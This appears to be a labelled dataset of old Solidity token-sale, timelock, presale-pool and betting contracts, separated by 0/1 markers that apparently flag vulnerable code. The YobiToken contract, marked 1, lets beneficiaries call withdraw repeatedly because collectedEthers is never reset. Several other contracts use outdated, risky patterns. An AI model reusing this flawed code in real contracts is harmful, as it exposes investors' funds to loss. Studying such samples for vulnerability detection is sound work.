require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract VestarinToken is MintableToken {
string public constant name = "Vestarin";
string public constant symbol = "VST";
uint32 public constant decimals = 18;
mapping (address => uint) public locked;
function transfer(address _to, uint256 _value) public returns (bool) {
require(locked[msg.sender] < now);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(locked[_from] < now);
return super.transferFrom(_from, _to, _value);
}
function lock(address addr, uint periodInDays) public {
require(locked[addr] < now && (msg.sender == saleAgent || msg.sender == addr));
locked[addr] = now + periodInDays * 1 days;
}
}
contract StagedCrowdsale is Pausable {
using SafeMath for uint;
struct Stage {
uint hardcap;
uint price;
uint invested;
uint closed;
}
uint public start;
uint public period;
uint public totalHardcap;
uint public totalInvested;
Stage[] public stages;
function stagesCount() public constant returns(uint) {
return stages.length;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setPeriod(uint newPeriod) public onlyOwner {
period = newPeriod;
}
function addStage(uint hardcap, uint price) public onlyOwner {
require(hardcap > 0 && price > 0);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
stages.push(stage);
totalHardcap = totalHardcap.add(stage.hardcap);
}
function removeStage(uint8 number) public onlyOwner {
require(number >=0 && number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
delete stages[number];
for (uint i = number; i < stages.length - 1; i++) {
stages[i] = stages[i+1];
}
stages.length--;
}
function changeStage(uint8 number, uint hardcap, uint price) public onlyOwner {
require(number >= 0 &&number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
stage.hardcap = hardcap.mul(1 ether);
stage.price = price;
totalHardcap = totalHardcap.add(stage.hardcap);
}
function insertStage(uint8 numberAfter, uint hardcap, uint price) public onlyOwner {
require(numberAfter < stages.length);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
totalHardcap = totalHardcap.add(stage.hardcap);
stages.length++;
for (uint i = stages.length - 2; i > numberAfter; i--) {
stages[i + 1] = stages[i];
}
stages[numberAfter + 1] = stage;
}
function clearStages() public onlyOwner {
for (uint i = 0; i < stages.length; i++) {
delete stages[i];
}
stages.length -= stages.length;
totalHardcap = 0;
}
function lastSaleDate() public constant returns(uint) {
return start + period * 1 days;
}
modifier saleIsOn() {
require(stages.length > 0 && now >= start && now < lastSaleDate());
_;
}
modifier isUnderHardcap() {
require(totalInvested <= totalHardcap);
_;
}
function currentStage() public saleIsOn isUnderHardcap constant returns(uint) {
for(uint i=0; i < stages.length; i++) {
if(stages[i].closed == 0) {
return i;
}
}
revert();
}
}
contract CommonSale is StagedCrowdsale {
address public masterWallet;
address public slaveWallet;
address public directMintAgent;
uint public slaveWalletPercent = 30;
uint public percentRate = 100;
uint public minPrice;
uint public totalTokensMinted;
bool public slaveWalletInitialized;
bool public slaveWalletPercentInitialized;
VestarinToken public token;
modifier onlyDirectMintAgentOrOwner() {
require(directMintAgent == msg.sender || owner == msg.sender);
_;
}
function setDirectMintAgent(address newDirectMintAgent) public onlyOwner {
directMintAgent = newDirectMintAgent;
}
function setMinPrice(uint newMinPrice) public onlyOwner {
minPrice = newMinPrice;
}
function setSlaveWalletPercent(uint newSlaveWalletPercent) public onlyOwner {
require(!slaveWalletPercentInitialized);
slaveWalletPercent = newSlaveWalletPercent;
slaveWalletPercentInitialized = true;
}
function setMasterWallet(address newMasterWallet) public onlyOwner {
masterWallet = newMasterWallet;
}
function setSlaveWallet(address newSlaveWallet) public onlyOwner {
require(!slaveWalletInitialized);
slaveWallet = newSlaveWallet;
slaveWalletInitialized = true;
}
function setToken(address newToken) public onlyOwner {
token = VestarinToken(newToken);
}
function directMint(address to, uint investedWei) public onlyDirectMintAgentOrOwner saleIsOn {
mintTokens(to, investedWei);
}
function createTokens() public whenNotPaused payable {
require(msg.value >= minPrice);
uint masterValue = msg.value.mul(percentRate.sub(slaveWalletPercent)).div(percentRate);
uint slaveValue = msg.value.sub(masterValue);
masterWallet.transfer(masterValue);
slaveWallet.transfer(slaveValue);
mintTokens(msg.sender, msg.value);
}
function mintTokens(address to, uint weiInvested) internal {
uint stageIndex = currentStage();
Stage storage stage = stages[stageIndex];
uint tokens = weiInvested.mul(stage.price);
token.mint(this, tokens);
token.transfer(to, tokens);
totalTokensMinted = totalTokensMinted.add(tokens);
totalInvested = totalInvested.add(weiInvested);
stage.invested = stage.invested.add(weiInvested);
if(stage.invested >= stage.hardcap) {
stage.closed = now;
}
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken, address to) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(to, alienToken.balanceOf(this));
}
}
contract Presale is CommonSale {
Mainsale public mainsale;
function setMainsale(address newMainsale) public onlyOwner {
mainsale = Mainsale(newMainsale);
}
function finishMinting() public whenNotPaused onlyOwner {
token.setSaleAgent(mainsale);
}
function() external payable {
createTokens();
}
}
contract Mainsale is CommonSale {
address public foundersTokensWallet;
address public bountyTokensWallet;
uint public foundersTokensPercent;
uint public bountyTokensPercent;
uint public lockPeriod;
function setLockPeriod(uint newLockPeriod) public onlyOwner {
lockPeriod = newLockPeriod;
}
function setFoundersTokensPercent(uint newFoundersTokensPercent) public onlyOwner {
foundersTokensPercent = newFoundersTokensPercent;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setFoundersTokensWallet(address newFoundersTokensWallet) public onlyOwner {
foundersTokensWallet = newFoundersTokensWallet;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function finishMinting() public whenNotPaused onlyOwner {
uint summaryTokensPercent = bountyTokensPercent + foundersTokensPercent;
uint mintedTokens = token.totalSupply();
uint summaryFoundersTokens = mintedTokens.mul(summaryTokensPercent).div(percentRate.sub(summaryTokensPercent));
uint totalSupply = summaryFoundersTokens + mintedTokens;
uint foundersTokens = totalSupply.mul(foundersTokensPercent).div(percentRate);
uint bountyTokens = totalSupply.mul(bountyTokensPercent).div(percentRate);
token.mint(this, foundersTokens);
token.lock(foundersTokensWallet, lockPeriod * 1 days);
token.transfer(foundersTokensWallet, foundersTokens);
token.mint(this, bountyTokens);
token.transfer(bountyTokensWallet, bountyTokens);
totalTokensMinted = totalTokensMinted.add(foundersTokens).add(bountyTokens);
token.finishMinting();
}
}
contract TestConfigurator is Ownable {
VestarinToken public token;
Presale public presale;
Mainsale public mainsale;
function deploy() public onlyOwner {
owner = 0x445c94f566abF8E28739c474c572D356d03Ad999;
token = new VestarinToken();
presale = new Presale();
presale.setToken(token);
presale.addStage(5,300);
presale.setMasterWallet(0x055fa3f2DAc0b9Db661A4745965DDD65490d56A8);
presale.setSlaveWallet(0x055fa3f2DAc0b9Db661A4745965DDD65490d56A8);
presale.setSlaveWalletPercent(30);
presale.setStart(1510704000);
presale.setPeriod(1);
presale.setMinPrice(100000000000000000);
token.setSaleAgent(presale);
mainsale = new Mainsale();
mainsale.setToken(token);
mainsale.addStage(1,200);
mainsale.addStage(2,100);
mainsale.setMasterWallet(0x4d9014eF9C3CE5790A326775Bd9F609969d1BF4f);
mainsale.setSlaveWallet(0x4d9014eF9C3CE5790A326775Bd9F609969d1BF4f);
mainsale.setSlaveWalletPercent(30);
mainsale.setFoundersTokensWallet(0x59b398bBED1CC6c82b337B3Bd0ad7e4dCB7d4de3);
mainsale.setBountyTokensWallet(0x555635F2ea026ab65d7B44526539E0aB3874Ab24);
mainsale.setStart(1510790400);
mainsale.setPeriod(2);
mainsale.setLockPeriod(1);
mainsale.setMinPrice(100000000000000000);
mainsale.setFoundersTokensPercent(13);
mainsale.setBountyTokensPercent(5);
presale.setMainsale(mainsale);
token.transferOwnership(owner);
presale.transferOwnership(owner);
mainsale.transferOwnership(owner);
}
}
contract Configurator is Ownable {
VestarinToken public token;
Presale public presale;
Mainsale public mainsale;
function deploy() public onlyOwner {
owner = 0x95EA6A4ec9F80436854702e5F05d238f27166A03;
token = new VestarinToken();
presale = new Presale();
presale.setToken(token);
presale.addStage(5000,300);
presale.setMasterWallet(0x95EA6A4ec9F80436854702e5F05d238f27166A03);
presale.setSlaveWallet(0x070EcC35a3212D76ad443d529216a452eAA35E3D);
presale.setSlaveWalletPercent(30);
presale.setStart(1517317200);
presale.setPeriod(30);
presale.setMinPrice(100000000000000000);
token.setSaleAgent(presale);
mainsale = new Mainsale();
mainsale.setToken(token);
mainsale.addStage(5000,200);
mainsale.addStage(5000,180);
mainsale.addStage(10000,170);
mainsale.addStage(20000,160);
mainsale.addStage(20000,150);
mainsale.addStage(40000,130);
mainsale.setMasterWallet(0x95EA6A4ec9F80436854702e5F05d238f27166A03);
mainsale.setSlaveWallet(0x070EcC35a3212D76ad443d529216a452eAA35E3D);
mainsale.setSlaveWalletPercent(30);
mainsale.setFoundersTokensWallet(0x95EA6A4ec9F80436854702e5F05d238f27166A03);
mainsale.setBountyTokensWallet(0x95EA6A4ec9F80436854702e5F05d238f27166A03);
mainsale.setStart(1525352400);
mainsale.setPeriod(30);
mainsale.setLockPeriod(90);
mainsale.setMinPrice(100000000000000000);
mainsale.setFoundersTokensPercent(13);
mainsale.setBountyTokensPercent(5);
presale.setMainsale(mainsale);
token.transferOwnership(owner);
presale.transferOwnership(owner);
mainsale.transferOwnership(owner);
}
} | 0 |
pragma solidity ^0.4.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
assert(!halted);
_;
}
modifier onlyInEmergency {
assert(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract YobiToken is StandardToken, Haltable {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function name() constant returns (string _name) {
return name;
}
function symbol() constant returns (string _symbol) {
return symbol;
}
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
address public beneficiary1;
address public beneficiary2;
event Buy(address indexed participant, uint tokens, uint eth);
event GoalReached(uint amountRaised);
uint public softCap = 50000000000000;
uint public hardCap = 100000000000000;
bool public softCapReached = false;
bool public hardCapReached = false;
uint public price;
uint public collectedTokens;
uint public collectedEthers;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public startTime;
uint public endTime;
function YobiToken() {
name = "yobi";
symbol = "YOB";
decimals = 8;
totalSupply = 10000000000000000;
beneficiary1 = 0x2cC988E5A0D8d0163a241F68Fe35Bc97E0923e72;
beneficiary2 = 0xF5A4DEb2a685F5D3f859Df6A771CC4CC4f3c3435;
balances[beneficiary1] = totalSupply;
price = 600;
startTime = 1509426000;
endTime = startTime + 3 weeks;
}
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
modifier onlyAfter(uint time) {
assert(now >= time);
_;
}
modifier onlyBefore(uint time) {
assert(now <= time);
_;
}
function () payable stopInEmergency {
doPurchase();
}
function doPurchase() private onlyAfter(startTime) onlyBefore(endTime) {
assert(!hardCapReached);
uint tokens = msg.value * price / 10000000000;
if (balanceOf(msg.sender) == 0) investorCount++;
balances[beneficiary1] = balances[beneficiary1].sub(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
collectedTokens = collectedTokens.add(tokens);
collectedEthers = collectedEthers.add(msg.value);
if (collectedTokens >= softCap) {
softCapReached = true;
}
if (collectedTokens >= hardCap) {
hardCapReached = true;
}
weiRaised = weiRaised.add(msg.value);
tokensSold = tokensSold.add(tokens);
Transfer(beneficiary1, msg.sender, tokens);
Buy(msg.sender, tokens, msg.value);
}
function withdraw() returns (bool) {
assert((now >= endTime) || softCapReached);
assert((msg.sender == beneficiary1) || (msg.sender == beneficiary2));
if (!beneficiary1.send(collectedEthers * 99 / 100)) {
return false;
}
if (!beneficiary2.send(collectedEthers / 100)) {
return false;
}
return true;
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30240000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x6E5E37C061BdeB19C4fd71E3b6E9DE378b381171;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
}
contract PresalePool {
using SafeMath for uint;
uint8 public contractStage = 1;
address public owner;
uint public contributionMin;
uint public contractMax;
uint public feePct;
address public receiverAddress;
uint public submittedAmount;
uint public refundPct;
uint public contributorCount;
address public activeToken;
struct Contributor {
bool refundedEth;
uint balance;
mapping (address => uint) tokensClaimed;
}
mapping (address => Contributor) contributors;
struct TokenAllocation {
ERC20 token;
uint pct;
uint claimRound;
uint claimCount;
}
mapping (address => TokenAllocation) distribution;
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
event ContributorBalanceChanged (address contributor, uint totalBalance);
event TokensWithdrawn (address receiver, uint amount);
event EthRefunded (address receiver, uint amount);
event ReceiverAddressChanged ( address _addr);
event WithdrawalsOpen (address tokenAddr);
event ERC223Received (address token, uint value);
function _toPct (uint numerator, uint denominator ) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
function PresalePool(address receiver, uint individualMin, uint poolMax, uint fee) public {
require (fee < 100);
require (100000000000000000 <= individualMin);
require (individualMin <= poolMax);
require (receiver != 0x00);
owner = msg.sender;
receiverAddress = receiver;
contributionMin = individualMin;
contractMax = poolMax;
feePct = _toPct(fee,100);
}
function () payable public {
require (contractStage == 1);
require (this.balance <= contractMax);
var c = contributors[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
if (contributors[msg.sender].balance == 0) {
contributorCount = contributorCount.add(1);
}
contributors[msg.sender].balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
function withdraw (address tokenAddr) public {
var c = contributors[msg.sender];
require (c.balance > 0);
if (contractStage < 3) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
contributorCount = contributorCount.sub(1);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender,tokenAddr);
}
}
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 3);
require (contributors[contributor].balance > 0);
_withdraw(contributor,tokenAddr);
}
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 3);
var c = contributors[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distribution[tokenAddr];
require ( (refundPct > 0 && !c.refundedEth) || d.claimRound > c.tokensClaimed[tokenAddr] );
if (refundPct > 0 && !c.refundedEth) {
uint ethAmount = _applyPct(c.balance,refundPct);
c.refundedEth = true;
if (ethAmount == 0) return;
if (ethAmount+10 > c.balance) {
ethAmount = c.balance-10;
}
c.balance = c.balance.sub(ethAmount+10);
receiver.transfer(ethAmount);
EthRefunded(receiver,ethAmount);
}
if (d.claimRound > c.tokensClaimed[tokenAddr]) {
uint amount = _applyPct(c.balance,d.pct);
c.tokensClaimed[tokenAddr] = d.claimRound;
d.claimCount = d.claimCount.add(1);
if (amount > 0) {
require (d.token.transfer(receiver,amount));
}
TokensWithdrawn(receiver,amount);
}
}
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage < 3);
require (amount >= contributionMin);
require (amount >= this.balance);
contractMax = amount;
}
function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
return (contractMax,this.balance,contractMax.sub(this.balance));
}
function checkContributorBalance (address addr) view public returns (uint balance) {
return contributors[addr].balance;
}
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint amount) {
var c = contributors[addr];
var d = distribution[tokenAddr];
if (d.claimRound == c.tokensClaimed[tokenAddr]) return 0;
return _applyPct(c.balance,d.pct);
}
function closeContributions () public onlyOwner {
require (contractStage == 1);
contractStage = 2;
}
function reopenContributions () public onlyOwner {
require (contractStage == 2);
contractStage = 1;
}
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage < 3);
require (contributionMin <= amountInWei && amountInWei <= this.balance);
uint b = this.balance;
require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
submittedAmount = b.sub(this.balance);
refundPct = _toPct(this.balance,b);
contractStage = 3;
}
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 3);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distribution[tokenAddr];
require (d.claimRound == 0 || d.claimCount == contributorCount);
d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount,feePct)));
}
d.pct = _toPct(d.token.balanceOf(this),submittedAmount);
d.claimCount = 0;
d.claimRound = d.claimRound.add(1);
}
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received (from, value);
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29289600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x0fda71CB99589Be1dC5FCeee83B0eCD022e7e58C;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BaseGame {
function canSetBanker() view public returns (bool _result);
function setBanker(address _banker, uint256 _beginTime, uint256 _endTime) public returns(bool _result);
string public gameName = "NO.1";
uint public gameType = 2004;
string public officialGameUrl;
uint public bankerBeginTime;
uint public bankerEndTime;
address public currentBanker;
function depositToken(uint256 _amount) public;
function withdrawAllToken() public;
function withdrawToken(uint256 _amount) public;
mapping (address => uint256) public userTokenOf;
}
interface IDonQuixoteToken{
function withhold(address _user, uint256 _amount) external returns (bool _result);
function transfer(address _to, uint256 _value) external;
function sendGameGift(address _player) external returns (bool _result);
function logPlaying(address _player) external returns (bool _result);
function balanceOf(address _user) constant external returns(uint256 balance);
}
contract Base is BaseGame{
using SafeMath for uint256;
uint public createTime = now;
address public owner;
IDonQuixoteToken public DonQuixoteToken;
function Base() public {
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
bool public globalLocked = false;
function lock() internal {
require(!globalLocked);
globalLocked = true;
}
function unLock() internal {
require(globalLocked);
globalLocked = false;
}
function setLock() public onlyOwner{
globalLocked = false;
}
function tokenOf(address _user) view public returns(uint256 _result){
_result = DonQuixoteToken.balanceOf(_user);
}
function depositToken(uint256 _amount) public {
lock();
_depositToken(msg.sender, _amount);
unLock();
}
function _depositToken(address _to, uint256 _amount) internal {
require(_to != 0x0);
DonQuixoteToken.withhold(_to, _amount);
userTokenOf[_to] = userTokenOf[_to].add(_amount);
}
function withdrawAllToken() public {
lock();
uint256 _amount = userTokenOf[msg.sender];
_withdrawToken(msg.sender,_amount);
unLock();
}
function withdrawToken(uint256 _amount) public {
lock();
_withdrawToken(msg.sender, _amount);
unLock();
}
function _withdrawToken(address _from, uint256 _amount) internal {
require(_from != 0x0);
require(_amount > 0 && _amount <= userTokenOf[_from]);
userTokenOf[_from] = userTokenOf[_from].sub(_amount);
DonQuixoteToken.transfer(_from, _amount);
}
uint public currentEventId = 1;
function getEventId() internal returns(uint _result) {
_result = currentEventId;
currentEventId = currentEventId.add(1);
}
function setOfficialGameUrl(string _newOfficialGameUrl) public onlyOwner{
officialGameUrl = _newOfficialGameUrl;
}
}
contract SoccerBet is Base
{
function SoccerBet(string _gameName,uint _bankerDepositPer, address _DonQuixoteToken) public {
require(_DonQuixoteToken != 0x0);
gameName = _gameName;
bankerDepositPer = _bankerDepositPer;
DonQuixoteToken = IDonQuixoteToken(_DonQuixoteToken);
owner = msg.sender;
}
uint public unpayPooling = 0;
uint public losePooling = 0;
uint public winPooling = 0;
uint public samePooling = 0;
uint public bankerDepositPer = 20;
address public auction;
function setAuction(address _newAuction) public onlyOwner{
auction = _newAuction;
}
modifier onlyAuction {
require(msg.sender == auction);
_;
}
modifier onlyBanker {
require(msg.sender == currentBanker);
require(bankerBeginTime <= now);
require(now < bankerEndTime);
_;
}
function canSetBanker() public view returns (bool _result){
_result = false;
if(now < bankerEndTime){
return;
}
if(userTokenOf[this] == 0){
_result = true;
}
}
event OnSetNewBanker(uint indexed _gameID , address _caller, address _banker, uint _beginTime, uint _endTime, uint _errInfo, uint _eventTime, uint eventId);
function setBanker(address _banker, uint _beginTime, uint _endTime) public onlyAuction returns(bool _result)
{
_result = false;
require(_banker != 0x0);
if(now < bankerEndTime){
emit OnSetNewBanker(gameID, msg.sender, _banker, _beginTime, _endTime, 1, now, getEventId());
return;
}
if(userTokenOf[this] > 0){
emit OnSetNewBanker(gameID, msg.sender, _banker, _beginTime, _endTime, 5, now, getEventId());
return;
}
if(_beginTime > now){
emit OnSetNewBanker(gameID, msg.sender, _banker, _beginTime, _endTime, 3, now, getEventId());
return;
}
if(_endTime <= now){
emit OnSetNewBanker(gameID, msg.sender, _banker, _beginTime, _endTime, 4, now, getEventId());
return;
}
if(now < donGameGiftLineTime){
DonQuixoteToken.logPlaying(_banker);
}
currentBanker = _banker;
bankerBeginTime = _beginTime;
bankerEndTime = _endTime;
unpayPooling = 0;
losePooling = 0;
winPooling = 0;
samePooling = 0;
gameResult = 9;
gameOver = true;
emit OnSetNewBanker(gameID, msg.sender, _banker, _beginTime, _endTime, 0, now, getEventId());
_result = true;
}
string public team1;
string public team2;
uint public constant loseNum = 1;
uint public constant winNum = 3;
uint public constant sameNum = 0;
uint public loseOdd;
uint public winOdd;
uint public sameOdd;
uint public betLastTime;
uint public playNo = 1;
uint public gameID = 0;
uint public gameBeginPlayNo;
uint public gameResult = 9;
uint public gameBeginTime;
uint256 public gameMaxBetAmount;
uint256 public gameMinBetAmount;
bool public gameOver = true;
uint public nextRewardPlayNo=1;
uint public currentRewardNum = 100;
uint public donGameGiftLineTime = now + 90 days;
address public decider;
function setDecider(address _decider) public onlyOwner{
decider = _decider;
}
modifier onlyDecider{
require(msg.sender == decider);
_;
}
function setGameResult(uint _gameResult) public onlyDecider{
require(!gameOver);
require(betLastTime + 90 minutes < now);
require(gameResult == 9);
require( _gameResult == loseNum || _gameResult == winNum || _gameResult == sameNum);
gameResult = _gameResult;
